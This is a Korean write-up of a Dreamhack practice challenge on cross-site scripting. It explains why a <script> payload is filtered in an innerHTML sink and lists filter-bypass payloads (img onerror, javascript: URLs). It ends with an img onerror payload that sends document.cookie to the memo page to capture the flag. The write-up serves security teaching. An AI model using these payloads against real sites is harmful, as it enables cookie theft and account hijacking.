본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.

해당 문제는 드림핵 Cross Site Script 로드맵에 등장하는 두번째 문제로 같은 내용을 담고 있다.

이번에도 접속했을 때 위 처럼 3개의 링크가 존재하는 것을 알 수 있다.

문제 풀이

  • vuln(xss)page : 해당 링크를 접속하면 1 이라는 Alert가 뜨는데 해당 URL을 보면 http://host3.dreamhack.games:23964/vuln?param=%3Cscript%3Ealert(1)%3C/script%3E로 되어 있다. 하지만, 어떠한 이유인지 스크립트가 작동하지 않는다.

  • memo : 접속 시 hello라는 문구가 있다. 재접속을 할 때 마다 한 줄씩 늘어나게 된다.

app.py를 보고 어떤 식인지 확인해보겠습니다.

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

vuln page로 우리가 입력한 값 param을 통해서 return 하는 것이 아닌 일반적인 vuln.html 파일을 return 하고 있다.

이후의 소스 코드는 이전 문제와 같다.

어떠한 이유로 스크립트가 작동하지 않았는지 페이지를 통해서 알아보고자 한다.

<script>
    var x=new URLSearchParams(location.search); 
    document.getElementById('vuln').innerHTML = x.get('param');
</script>

vuln.html 내의 존재하는 script이다. 파라미터로 넣은 값을 받아서 innerHTML를 하게 되는데 단순 Text로 인식하게 되는 것으로 보인다.

그리고, 아래의 document.getElementById('vuln').innerHTML로 어떻게 들어가는지 확인해보겠습니다.

script< 이 일반적이지 않고 필터링 되어 있는 것을 알 수 있다. 계속해서 값을 변경해서 넣어보니 <만 독립적으로 필터링하는 것이 아닌 <script 까지 완성되면 < 하나만 필터링 되는 것을 알 수 있다.

즉, <script> 태그를 이용할 수 없다는 것을 알고 XSS 우회법을 찾아봤다.

<img src="xss" onerror="alert()">
<iframe src="javascript:alert()">
<a href="javascript:alert(1)">Anything</a>

XSS 필터링 우회, xss cheat sheet에 대해서 검색하게 된다면 더욱 많은 자료가 있습니다.

필터링 방법을 이용해서 vuln 페이지에 parameter를 변경하였더니 XSS가 발생하는 것을 알 수 있었습니다.

이후, 기존 방법과 동일하게 check_xss 함수를 통한 cookie 정보 FLAG를 받아오겠습니다.

<img src="#" onerror="location.href='/memo?memo=' + document.cookie">

해당 페이로드를 전송하고 다시 memo 링크로 들어가면 FLAG가 입력되어 있는 것을 알 수 있다.